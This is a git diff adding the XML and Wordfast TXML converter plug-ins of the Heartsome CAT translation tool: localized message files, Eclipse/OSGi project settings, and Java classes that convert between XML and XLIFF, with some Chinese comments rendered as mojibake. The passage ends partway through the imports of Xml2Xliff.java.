b/hsconverter/net.heartsome.cat.converter.wordfast3/src/net/heartsome/cat/converter/wordfast3/resource/wf_en.properties new file mode 100644 index 0000000..6b1bda5 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.wordfast3/src/net/heartsome/cat/converter/wordfast3/resource/wf_en.properties @@ -0,0 +1,11 @@ +utils.FileFormatUtils.WF = Wordfast Pro bilingual XML file (TXML) + +wf.parse.msg1 = Failed to parse the file {0}. Please confirm the TXML file can be read, and there are no errors in its content. +wf.parse.msg2=The skeleton of the file {0} could not be parsed. The file cannot convert to TXML. The file might be damaged. Please repair it as the following steps:\n1. Send all segments in the XLIFF file into TM;\n2. Backup the XLIFF file (directly copy the XLIFF file folders and paste it to another folder or export the entire project);\n3. Re-convert the source file to XLIFF, and pre-translate it;\n4. Make conversion again. + +wf.task1=Converting TXML files to XLIFF... +wf.task2=Converting XLIFF files to TXML... + +wf2Xlf.msg1=Failed to convert Wordfast Pro bilingual XML files to XLIFF.\nPlease check if there are any errors in the file, and then try again. + +xlf2wf.msg1=Failed to convert XLIFF to Wordfast Pro bilingual XML files.\nPlease check if there are any errors in the file, and then try again. diff --git a/hsconverter/net.heartsome.cat.converter.wordfast3/src/net/heartsome/cat/converter/wordfast3/resource/wf_zh.properties b/hsconverter/net.heartsome.cat.converter.wordfast3/src/net/heartsome/cat/converter/wordfast3/resource/wf_zh.properties new file mode 100644 index 0000000..4230fac --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.wordfast3/src/net/heartsome/cat/converter/wordfast3/resource/wf_zh.properties @@ -0,0 +1,13 @@ + +utils.FileFormatUtils.WF = Wordfast Pro \u53cc\u8bed XML \u6587\u4ef6 (TXML) + +wf.parse.msg1 = \u6587\u4ef6 {0} \u89e3\u6790\u5931\u8d25\u3002\u8bf7\u786e\u8ba4\u8be5 TXML \u6587\u4ef6\u53ef\u8bfb\u5199\u3001\u4e14\u5176\u5185\u5bb9\u4e2d\u6ca1\u6709\u9519\u8bef\u3002 +wf.parse.msg2 = \u6587\u4ef6 {0} \u7684\u9aa8\u67b6\u4fe1\u606f\u65e0\u6cd5\u89e3\u6790\uff0c\u65e0\u6cd5\u8f6c\u6362\u4e3a TXML\u3002\u8be5\u6587\u4ef6\u53ef\u80fd\u5df2\u7ecf\u53d7\u635f\uff0c\u8bf7\u5c1d\u8bd5\u6309\u5982\u4e0b\u6b65\u9aa4\u4fee\u590d\uff1a\n1. \u5c06\u8be5 XLIFF \u6587\u4ef6\u4e2d\u7684\u6240\u6709\u6587\u672c\u6bb5\u5165\u5e93\uff1b\n2. \u5907\u4efd\u8be5 XLIFF \u6587\u4ef6\uff08\u76f4\u63a5\u590d\u5236 XLIFF \u6587\u4ef6\u5939\u6216\u5bfc\u51fa\u6574\u4e2a\u9879\u76ee\uff09\uff1b\n3. \u91cd\u65b0\u8f6c\u6362\u6e90\u6587\u4ef6\u4e3a XLIFF\u3001\u5e76\u9884\u7ffb\u8bd1\uff1b\n4. \u7528\u4e0a\u4e00\u6b65\u5f97\u5230\u7684 XLIFF \u6587\u4ef6\u518d\u6b21\u91cd\u8bd5\u6b64\u6b21\u8f6c\u6362\u3002 + + +wf.task1 = \u6b63\u5728\u8f6c\u6362 TXML \u6587\u4ef6\u4e3a XLIFF... +wf.task2 = \u6b63\u5728\u8f6c\u6362 XLIFF \u6587\u4ef6\u4e3a TXML... + +wf2Xlf.msg1 = Wordfast Pro \u53cc\u8bed\u6587\u4ef6\u8f6c\u6362\u6210 XLIFF \u5931\u8d25\u3002\n\u8bf7\u786e\u8ba4\u8be5\u6587\u4ef6\u662f\u5426\u5b58\u5728\u9519\u8bef\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 + +xlf2wf.msg1 = XLIFF \u8f6c\u6362\u6210 Wordfast Pro \u53cc\u8bed\u6587\u4ef6\u5931\u8d25\u3002\n\u8bf7\u786e\u8ba4\u8be5\u6587\u4ef6\u662f\u5426\u5b58\u5728\u9519\u8bef\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 diff --git a/hsconverter/net.heartsome.cat.converter.xml/.classpath b/hsconverter/net.heartsome.cat.converter.xml/.classpath new file mode 100644 index 0000000..64c5e31 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.xml/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/hsconverter/net.heartsome.cat.converter.xml/.gitignore b/hsconverter/net.heartsome.cat.converter.xml/.gitignore new file mode 100644 index 0000000..5e56e04 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.xml/.gitignore @@ -0,0 +1 @@ +/bin diff --git a/hsconverter/net.heartsome.cat.converter.xml/.project b/hsconverter/net.heartsome.cat.converter.xml/.project new file mode 100644 index 0000000..6926efa --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.xml/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.converter.xml + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/hsconverter/net.heartsome.cat.converter.xml/.settings/org.eclipse.jdt.core.prefs b/hsconverter/net.heartsome.cat.converter.xml/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..7a67e4f --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.xml/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,8 @@ +#Fri Jun 11 18:25:16 GMT+08:00 2010 +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/hsconverter/net.heartsome.cat.converter.xml/META-INF/MANIFEST.MF b/hsconverter/net.heartsome.cat.converter.xml/META-INF/MANIFEST.MF new file mode 100644 index 0000000..d1befdf --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.xml/META-INF/MANIFEST.MF @@ -0,0 +1,15 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome CAT Converter XML +Bundle-SymbolicName: net.heartsome.cat.converter.xml +Bundle-Version: 8.0.2.R8b_v20130408 +Bundle-Activator: net.heartsome.cat.converter.xml.Activator +Require-Bundle: org.junit4;resolution:=optional, + net.heartsome.cat.converter;bundle-version="1.0.0" +Bundle-ActivationPolicy: lazy +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Import-Package: com.wutka.dtd, + org.eclipse.core.runtime;version="3.4.0", + org.osgi.framework;version="1.5.0" +Export-Package: net.heartsome.cat.converter.xml +Bundle-Vendor: Heartsome Technologies Ltd. diff --git a/hsconverter/net.heartsome.cat.converter.xml/build.properties b/hsconverter/net.heartsome.cat.converter.xml/build.properties new file mode 100644 index 0000000..7aaf591 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.xml/build.properties @@ -0,0 +1,5 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + . diff --git a/hsconverter/net.heartsome.cat.converter.xml/src/net/heartsome/cat/converter/xml/Activator.java b/hsconverter/net.heartsome.cat.converter.xml/src/net/heartsome/cat/converter/xml/Activator.java new file mode 100644 index 0000000..e46099e --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.xml/src/net/heartsome/cat/converter/xml/Activator.java @@ -0,0 +1,101 @@ +/** + * Activator.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.xml; + +import java.util.Properties; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.util.ConverterRegister; + +import org.osgi.framework.BundleActivator; +import org.osgi.framework.BundleContext; +import org.osgi.framework.ServiceRegistration; + +/** + * The Class Activator.The activator class controls the plug-in life cycle. + * @author John Zhu + * @version + * @since JDK1.6 + */ +public class Activator implements BundleActivator { + + // The plug-in ID + /** The Constant PLUGIN_ID. */ + public static final String PLUGIN_ID = "net.heartsome.cat.converter.xml"; + + // The shared instance + /** The plugin. */ + private static Activator plugin; + + /** The xml2 xliff sr. */ + private ServiceRegistration xml2XliffSR; + + /** The xliff2 xml sr. */ + private ServiceRegistration xliff2XmlSR; + + /** + * The constructor. + */ + public Activator() { + } + + /** + * (non-Javadoc). + * @param context + * the context + * @throws Exception + * the exception + * @see org.osgi.framework.BundleActivator#start(org.osgi.framework.BundleContext) + */ + public void start(BundleContext context) throws Exception { + plugin = this; + // register the convert service + Converter xml2Xliff = new Xml2Xliff(); + Properties properties = new Properties(); + properties.put(Converter.ATTR_NAME, Xml2Xliff.NAME_VALUE); + properties.put(Converter.ATTR_TYPE, Xml2Xliff.TYPE_VALUE); + properties.put(Converter.ATTR_TYPE_NAME, Xml2Xliff.TYPE_NAME_VALUE); + xml2XliffSR = ConverterRegister.registerPositiveConverter(context, xml2Xliff, properties); + + Converter xliff2Xml = new Xliff2Xml(); + properties = new Properties(); + properties.put(Converter.ATTR_NAME, Xliff2Xml.NAME_VALUE); + properties.put(Converter.ATTR_TYPE, Xliff2Xml.TYPE_VALUE); + properties.put(Converter.ATTR_TYPE_NAME, Xliff2Xml.TYPE_NAME_VALUE); + xliff2XmlSR = ConverterRegister.registerReverseConverter(context, xliff2Xml, properties); + } + + /** + * (non-Javadoc). + * @param context + * the context + * @throws Exception + * the exception + * @see org.osgi.framework.BundleActivator#stop(org.osgi.framework.BundleContext) + */ + public void stop(BundleContext context) throws Exception { + if (xml2XliffSR != null) { + xml2XliffSR.unregister(); + } + if (xliff2XmlSR != null) { + xliff2XmlSR.unregister(); + } + plugin = null; + } + + /** + * Returns the shared instance. + * @return the shared instance + */ + public static Activator getDefault() { + return plugin; + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.xml/src/net/heartsome/cat/converter/xml/AutoConfiguration.java b/hsconverter/net.heartsome.cat.converter.xml/src/net/heartsome/cat/converter/xml/AutoConfiguration.java new file mode 100644 index 0000000..03f2cab --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.xml/src/net/heartsome/cat/converter/xml/AutoConfiguration.java @@ -0,0 +1,106 @@ +/** + * AutoConfiguration.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.xml; + +import java.io.FileOutputStream; +import java.io.IOException; +import java.util.Enumeration; +import java.util.Hashtable; +import java.util.Iterator; +import java.util.List; + +import javax.xml.parsers.ParserConfigurationException; + +import net.heartsome.xml.Catalogue; +import net.heartsome.xml.Document; +import net.heartsome.xml.Element; +import net.heartsome.xml.SAXBuilder; +import net.heartsome.xml.XMLOutputter; + +import org.w3c.dom.Node; +import org.xml.sax.SAXException; + +/** + * The Class AutoConfiguration. + * @author John Zhu + * @version + * @since JDK1.6 + */ +public class AutoConfiguration { + + /** The segment. */ + private Hashtable segment; + + /** + * Run. + * @param input + * the input + * @param out + * the out + * @param catalogue + * the catalogue + * @throws SAXException + * the SAX exception + * @throws IOException + * Signals that an I/O exception has occurred. + * @throws ParserConfigurationException + * the parser configuration exception + */ + public void run(String input, String out, String catalogue) throws SAXException, IOException, + ParserConfigurationException { + SAXBuilder builder = new SAXBuilder(); + builder.setEntityResolver(new Catalogue(catalogue)); + Document d = builder.build(input); + Element r = d.getRootElement(); + segment = new Hashtable(); + recurse(r); + + Document doc = new Document(null, "ini-file", "-//HEARTSOME//Converters 2.0.0//EN", "configuration.dtd"); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + Element root = doc.getRootElement(); + Enumeration keys = segment.keys(); + while (keys.hasMoreElements()) { + Element e = new Element("tag", doc); //$NON-NLS-1$ + String key = keys.nextElement(); + e.setText(key); + e.setAttribute("hard-break", "segment"); //$NON-NLS-1$ //$NON-NLS-2$ + root.addContent(e); + root.addContent("\n"); //$NON-NLS-1$ + } + + XMLOutputter outputter = new XMLOutputter(); + FileOutputStream output = new FileOutputStream(out); + outputter.output(doc, output); + output.close(); + } + + /** + * Recurse. + * @param r + * the r + */ + private void recurse(Element r) { + String text = ""; //$NON-NLS-1$ + List content = r.getContent(); + Iterator i = content.iterator(); + while (i.hasNext()) { + Node n = i.next(); + if (n.getNodeType() == Node.TEXT_NODE) { + text = text + n.getNodeValue().trim(); + } + if (n.getNodeType() == Node.ELEMENT_NODE) { + Element e = new Element(n); + recurse(e); + } + } + if (!text.equals("") && !segment.contains(r.getName())) { //$NON-NLS-1$ + segment.put(r.getName(), r.getName()); + } + } +} diff --git a/hsconverter/net.heartsome.cat.converter.xml/src/net/heartsome/cat/converter/xml/Xliff2Xml.java b/hsconverter/net.heartsome.cat.converter.xml/src/net/heartsome/cat/converter/xml/Xliff2Xml.java new file mode 100644 index 0000000..e72ec13 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.xml/src/net/heartsome/cat/converter/xml/Xliff2Xml.java @@ -0,0 +1,622 @@ +/** + * Xliff2Xml.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.xml; + +import java.io.BufferedReader; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.InputStreamReader; +import java.text.MessageFormat; +import java.util.Enumeration; +import java.util.HashMap; +import java.util.Hashtable; +import java.util.Iterator; +import java.util.List; +import java.util.Map; +import java.util.StringTokenizer; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.util.CalculateProcessedBytes; +import net.heartsome.cat.converter.util.ConverterUtils; +import net.heartsome.cat.converter.util.Progress; +import net.heartsome.cat.converter.util.ReverseConversionInfoLogRecord; +import net.heartsome.cat.converter.xml.resource.Messages; +import net.heartsome.xml.Catalogue; +import net.heartsome.xml.Document; +import net.heartsome.xml.Element; +import net.heartsome.xml.SAXBuilder; +import net.heartsome.xml.XMLOutputter; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.OperationCanceledException; +import org.w3c.dom.Node; +import org.xml.sax.SAXException; + +/** + * The Class Xliff2Xml. + * @author John Zhu + */ +public class Xliff2Xml implements Converter { + + /** The Constant TYPE_VALUE. */ + public static final String TYPE_VALUE = "xml"; + + /** The Constant TYPE_NAME_VALUE. */ + public static final String TYPE_NAME_VALUE = Messages.getString("xml.TYPE_NAME_VALUE"); + + /** The Constant NAME_VALUE. */ + public static final String NAME_VALUE = "XLIFF to XML Conveter"; + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#convert(java.util.Map, org.eclipse.core.runtime.IProgressMonitor) + * @param args + * @param monitor + * @return + * @throws ConverterException + */ + public Map convert(Map args, IProgressMonitor monitor) throws ConverterException { + Xliff2XmlImpl converter = new Xliff2XmlImpl(); + return converter.run(args, monitor); + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getName() + * @return + */ + public String getName() { + return NAME_VALUE; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getType() + * @return + */ + public String getType() { + return TYPE_VALUE; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getTypeName() + * @return + */ + public String getTypeName() { + return TYPE_NAME_VALUE; + } + + /** + * The Class Xliff2XmlImpl. + * @author John Zhu + * @version + * @since JDK1.6 + */ + class Xliff2XmlImpl { + + private static final String UTF_8 = "UTF-8"; + + /** The input. */ + private InputStreamReader input; + + /** The buffer. */ + private BufferedReader buffer; + + /** The skl file. */ + private String sklFile; + + /** The xliff file. */ + private String xliffFile; + + /** The line. */ + private String line; + + /** The segments. */ + private Hashtable segments; + + /** The output. */ + private FileOutputStream output; + + /** The encoding. */ + private String encoding; + + /** The catalogue. */ + private Catalogue catalogue; + + /** The entities. */ + private Hashtable entities; + + /** The in design. */ + private boolean inDesign = false; + + /** The in attribute. */ + private boolean inAttribute; + + // 计算替æ¢è¿›åº¦çš„对象 + private CalculateProcessedBytes cpb; + + // 替æ¢è¿‡ç¨‹çš„进度监视器 + private IProgressMonitor replaceMonitor; + + /** + * Run. + * @param params + * the params + * @param monitor + * the monitor + * @return the map< string, string> + * @throws ConverterException + * the converter exception + */ + public Map run(Map params, IProgressMonitor monitor) throws ConverterException { + monitor = Progress.getMonitor(monitor); + ReverseConversionInfoLogRecord infoLogger = ConverterUtils.getReverseConversionInfoLogRecord(); + infoLogger.startConversion(); + Map result = new HashMap(); + + sklFile = params.get(Converter.ATTR_SKELETON_FILE); + xliffFile = params.get(Converter.ATTR_XLIFF_FILE); + encoding = params.get(Converter.ATTR_SOURCE_ENCODING); + String catalogueFile = params.get(Converter.ATTR_CATALOGUE); + String isInDesign = params.get(Converter.ATTR_IS_INDESIGN); + String outputFile = params.get(Converter.ATTR_TARGET_FILE); + if (isInDesign != null) { + inDesign = true; + } + encoding = params.get(Converter.ATTR_SOURCE_ENCODING); + + String attrIsPreviewMode = params.get(Converter.ATTR_IS_PREVIEW_MODE); + /* 是å¦ä¸ºé¢„è§ˆç¿»è¯‘æ¨¡å¼ */ + boolean isPreviewMode = attrIsPreviewMode != null && attrIsPreviewMode.equals(Converter.TRUE); + + try { + infoLogger.logConversionFileInfo(null, null, xliffFile, sklFile); + // 把转æ¢è¿‡ç¨‹åˆ†ä¸ºä¸¤å¤§éƒ¨åˆ†å…± 10 个任务,其中加载 xliff æ–‡ä»¶å  4,替æ¢è¿‡ç¨‹å  6。 + monitor.beginTask("", 10); + monitor.subTask(Messages.getString("xml.Xliff2Xml.task1")); + infoLogger.startLoadingXliffFile(); + catalogue = new Catalogue(catalogueFile); + output = new FileOutputStream(outputFile); + loadSegments(); + infoLogger.endLoadingXliffFile(); + monitor.worked(4); + // 是å¦å–消 + if (monitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("xml.cancel")); + } + try { + infoLogger.startReplacingSegmentSymbol(); + cpb = ConverterUtils.getCalculateProcessedBytes(sklFile); + replaceMonitor = Progress.getSubMonitor(monitor, 6); + replaceMonitor.beginTask(Messages.getString("xml.Xliff2Xml.task2"), cpb.getTotalTask()); + replaceMonitor.subTask(""); + input = new InputStreamReader(new FileInputStream(sklFile), UTF_8); //$NON-NLS-1$ + buffer = new BufferedReader(input); + line = buffer.readLine(); + while (line != null) { + line = line + "\n"; //$NON-NLS-1$ + + if (line.indexOf("%%%") != -1) { //$NON-NLS-1$ + // + // contains translatable text + // + int index = line.indexOf("%%%"); //$NON-NLS-1$ + while (index != -1) { + String start = line.substring(0, index); + writeString(start); + line = line.substring(index + 3); + String code = line.substring(0, line.indexOf("%%%")); //$NON-NLS-1$ + line = line.substring(line.indexOf("%%%\n") + 4); //$NON-NLS-1$ + Element segment = segments.get(code); + if (segment != null) { + inAttribute = segment.getAttributeValue("restype", "").equals("x-attribute"); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + Element target = segment.getChild("target"); //$NON-NLS-1$ + Element source = segment.getChild("source"); //$NON-NLS-1$ + if (target != null) { + String tgtStr = extractText(target); + if (isPreviewMode || !"".equals(tgtStr.trim())) { + writeString(tgtStr, true, code); + } else { + writeString(extractText(source), true, code); + } + } else { + writeString(extractText(source), true, code); + } + } else { + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, + MessageFormat.format(Messages.getString("xml.Xliff2Xml.msg1"), code)); + } + + index = line.indexOf("%%%"); //$NON-NLS-1$ + if (index == -1) { + writeString(line); + } + } // end while + } else { + // + // non translatable portion + // + writeString(line); + } + line = buffer.readLine(); + } + } finally { + replaceMonitor.done(); + } + infoLogger.endReplacingSegmentSymbol(); + + output.close(); + output = null; + + if (inDesign) { + removeSeparators(outputFile, catalogue); + } + result.put(Converter.ATTR_TARGET_FILE, outputFile); + infoLogger.endConversion(); + } catch (OperationCanceledException e) { + throw e; + } catch (ConverterException e) { + throw e; + } catch (Exception e) { + if (Converter.DEBUG_MODE) { + e.printStackTrace(); + } + + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, Messages.getString("xml.Xliff2Xml.msg2"), e); + } finally { + monitor.done(); + } + return result; + } + + /** + * Removes the separators. + * @param outputFile + * the output file + * @param catalogue2 + * the catalogue2 + * @throws SAXException + * the SAX exception + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void removeSeparators(String outputFile, Catalogue catalogue2) throws SAXException, IOException { + SAXBuilder builder = new SAXBuilder(); + builder.setEntityResolver(catalogue2); + Document doc = builder.build(outputFile); + Element root = doc.getRootElement(); + recurse(root); + XMLOutputter outputter = new XMLOutputter(); + outputter.preserveSpace(true); + output = new FileOutputStream(outputFile); + outputter.output(doc, output); + output.close(); + } + + /** + * Extract text. + * @param element + * the element + * @return the string + */ + private String extractText(Element element) { + String result = ""; //$NON-NLS-1$ + List content = element.getContent(); + Iterator i = content.iterator(); + while (i.hasNext()) { + Node n = i.next(); + switch (n.getNodeType()) { + case Node.ELEMENT_NODE: + Element e = new Element(n); + String ph = extractText(e); + result = result + ph; + break; + case Node.TEXT_NODE: + if (element.getName().equals("ph")) { //$NON-NLS-1$ + result = result + n.getNodeValue(); + } else { + if (inAttribute) { + result = result + addEntities(n.getNodeValue()).replaceAll("\"", """); //$NON-NLS-1$ //$NON-NLS-2$ + } else { + result = result + addEntities(n.getNodeValue()); + } + } + break; + default: + break; + } + } + return result; + } + + /** + * Adds the entities. + * @param string + * the string + * @return the string + */ + private String addEntities(String string) { + + int index = string.indexOf("&"); //$NON-NLS-1$ + while (index != -1) { + int smcolon = string.indexOf(";", index); //$NON-NLS-1$ + if (smcolon == -1) { + // no semicolon. there is no chance it is an entity + string = string.substring(0, index) + "&" //$NON-NLS-1$ + + string.substring(index + 1); + index++; + } else { + int space = string.indexOf(" ", index); //$NON-NLS-1$ + if (space == -1) { + String name = string.substring(index + 1, smcolon); + if (entities.containsKey(name)) { + // it is an entity, jump to the semicolon + index = smcolon; + } else { + string = string.substring(0, index) + "&" //$NON-NLS-1$ + + string.substring(index + 1); + index++; + } + } else { + // check if space appears before the semicolon + if (space < smcolon) { + // not an entity! + string = string.substring(0, index) + "&" //$NON-NLS-1$ + + string.substring(index + 1); + index++; + } else { + String name = string.substring(index + 1, smcolon); + if (entities.containsKey(name)) { + // it is a known entity, jump to the semicolon + index = smcolon; + } else { + string = string.substring(0, index) + "&" //$NON-NLS-1$ + + string.substring(index + 1); + index++; + } + } + } + } + if (index < string.length() && index >= 0) { + index = string.indexOf("&", index); //$NON-NLS-1$ + } else { + index = -1; + } + } + StringTokenizer tok = new StringTokenizer(string, "<>", true); //$NON-NLS-1$ + StringBuffer buff = new StringBuffer(); + while (tok.hasMoreElements()) { + String str = tok.nextToken(); + if (str.equals("<")) { //$NON-NLS-1$ + buff.append("<"); //$NON-NLS-1$ + } else if (str.equals(">")) { //$NON-NLS-1$ + buff.append(">"); //$NON-NLS-1$ + } else { + buff.append(str); + } + } + string = buff.toString(); + // now replace common text with + // the entities declared in the DTD + + Enumeration enu = entities.keys(); + while (enu.hasMoreElements()) { + String key = enu.nextElement(); + String value = entities.get(key); + if (!value.equals("") && !key.equals("amp") && !key.equals("lt") //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + && !key.equals("gt") && !key.equals("quot") && !key.equals("apos")) { //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + string = replaceEntities(string, value, "&" + key + ";"); //$NON-NLS-1$ //$NON-NLS-2$ + } + } + enu = null; + tok = null; + buff = null; + + return string; + } + + /** + * Write string. + * @param string + * the string + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void writeString(String string) throws IOException { + writeString(string, false, encoding); + } + + /** + * Write string. + * @param string + * the string + * @param isSegment + * 标识当å‰æ‰€å†™å†…容,ture 标识当å‰æ‰€å†™å†…容为 segment,false 标识当å‰æ‰€å®šå†…容为原骨架文件中的内容。 + * @param replaceCode + * skeleton 文件中的segment 标识符 + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void writeString(String string, boolean isSegment, String replaceCode) throws IOException { + byte[] bytes = string.getBytes(encoding); + output.write(bytes); + // 是å¦å–消æ“作 + if (replaceMonitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("xml.cancel")); + } + // 在计算已处ç†çš„字节时,需è¦ç”¨ skeleton 文件的æºç¼–ç è¿›è¡Œè§£ç  + if (!isSegment) { + cpb.calculateProcessed(replaceMonitor, string, UTF_8); + } else { + replaceCode = "%%%" + replaceCode + "%%%"; + cpb.calculateProcessed(replaceMonitor, replaceCode, UTF_8); + } + } + + /** + * Load segments. + * @throws SAXException + * the SAX exception + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void loadSegments() throws SAXException, IOException { + + SAXBuilder builder = new SAXBuilder(); + if (catalogue != null) { + builder.setEntityResolver(catalogue); + } + + Document doc = builder.build(xliffFile); + Element root = doc.getRootElement(); + Element body = root.getChild("file").getChild("body"); //$NON-NLS-1$ //$NON-NLS-2$ + List units = body.getChildren("trans-unit"); //$NON-NLS-1$ + Iterator i = units.iterator(); + + segments = new Hashtable(); + + while (i.hasNext()) { + Element unit = i.next(); + segments.put(unit.getAttributeValue("id"), unit); //$NON-NLS-1$ + } + + entities = new Hashtable(); + + Element header = root.getChild("file").getChild("header"); //$NON-NLS-1$ //$NON-NLS-2$ + List groups = header.getChildren("hs:prop-group"); //$NON-NLS-1$ + if (groups != null) { + Iterator g = groups.iterator(); + while (g.hasNext()) { + Element group = g.next(); + if (group.getAttributeValue("name").equals("entities")) { //$NON-NLS-1$ //$NON-NLS-2$ + List props = group.getChildren("hs:prop"); //$NON-NLS-1$ + Iterator p = props.iterator(); + while (p.hasNext()) { + Element prop = p.next(); + entities.put(prop.getAttributeValue("prop-type"), prop //$NON-NLS-1$ + .getText()); + } + } + if (group.getAttributeValue("name").equals("encoding")) { //$NON-NLS-1$ //$NON-NLS-2$ + String stored = group.getChild("hs:prop").getText(); //$NON-NLS-1$ + if (!stored.equals(encoding)) { + encoding = stored; + } + } + } + } + } + } + + /** + * Replace token. + * @param string + * the string + * @param token + * the token + * @param newText + * the new text + * @return the string + */ + protected static String replaceToken(String string, String token, String newText) { + int index = string.indexOf(token); + while (index != -1) { + string = string.substring(0, index) + newText + string.substring(index + token.length()); + index = string.indexOf(token, index + newText.length()); + } + return string; + } + + /** + * Recurse. + * @param e + * the e + */ + private static void recurse(Element e) { + List content = e.getContent(); + for (int i = 0; i < content.size(); i++) { + Node n = content.get(i); + switch (n.getNodeType()) { + case Node.TEXT_NODE: + String text = n.getNodeValue(); + if (text.startsWith("c_")) { //$NON-NLS-1$ + text = "c_" + text.substring(2).replaceAll("_", "~sep~"); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + } + break; + case Node.ELEMENT_NODE: + recurse(new Element(n)); + break; + default: + break; + } + } + } + + /** + * Replace entities. + * @param string + * the string + * @param token + * the token + * @param entity + * the entity + * @return the string + */ + private static String replaceEntities(String string, String token, String entity) { + int index = string.indexOf(token); + while (index != -1) { + String before = string.substring(0, index); + String after = string.substring(index + token.length()); + // check if we are not inside an entity + int amp = before.lastIndexOf("&"); //$NON-NLS-1$ + if (amp == -1) { + // we are not in an entity + string = before + entity + after; + } else { + boolean inEntity = true; + for (int i = amp; i < before.length(); i++) { + char c = before.charAt(i); + if (Character.isWhitespace(c) || ";.@$*()[]{},/?\\\"\'+=-^".indexOf(c) != -1) { //$NON-NLS-1$ + inEntity = false; + break; + } + } + if (inEntity) { + // check for a colon in "after" + int colon = after.indexOf(";"); //$NON-NLS-1$ + if (colon == -1) { + // we are not in an entity + string = before + entity + after; + } else { + // verify is there is something that breaks the entity + // before + for (int i = 0; i < colon; i++) { + char c = after.charAt(i); + if (Character.isWhitespace(c) || "&.@$*()[]{},/?\\\"\'+=-^".indexOf(c) != -1) { //$NON-NLS-1$ + inEntity = false; + break; + } + } + } + } else { + // we are not in an entity + string = before + entity + after; + } + } + if (index < string.length()) { + index = string.indexOf(token, index + 1); + } + } + return string; + } +} diff --git a/hsconverter/net.heartsome.cat.converter.xml/src/net/heartsome/cat/converter/xml/Xml2Xliff.java b/hsconverter/net.heartsome.cat.converter.xml/src/net/heartsome/cat/converter/xml/Xml2Xliff.java new file mode 100644 index 0000000..ef345f5 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.xml/src/net/heartsome/cat/converter/xml/Xml2Xliff.java @@ -0,0 +1,1539 @@ +/** + * Xml2Xliff.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.xml; + +import java.io.BufferedReader; +import java.io.ByteArrayInputStream; +import java.io.File; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.FileReader; +import java.io.IOException; +import java.util.ArrayList; +import java.util.Enumeration; +import java.util.HashMap; +import java.util.Hashtable; +import java.util.Iterator; +import java.util.List; +import java.util.Map; +import java.util.Stack; +import java.util.StringTokenizer; +import java.util.Vector; + +import javax.xml.parsers.ParserConfigurationException; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.StringSegmenter; +import net.heartsome.cat.converter.util.ConverterUtils; +import net.heartsome.cat.converter.util.Progress; +import net.heartsome.cat.converter.xml.resource.Messages; +import net.heartsome.util.CRC16; +import net.heartsome.util.TextUtil; +import net.heartsome.xml.Attribute; +import net.heartsome.xml.Catalogue; +import net.heartsome.xml.Document; +import net.heartsome.xml.Element; +import net.heartsome.xml.SAXBuilder; +import net.heartsome.xml.XMLOutputter; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.OperationCanceledException; +import 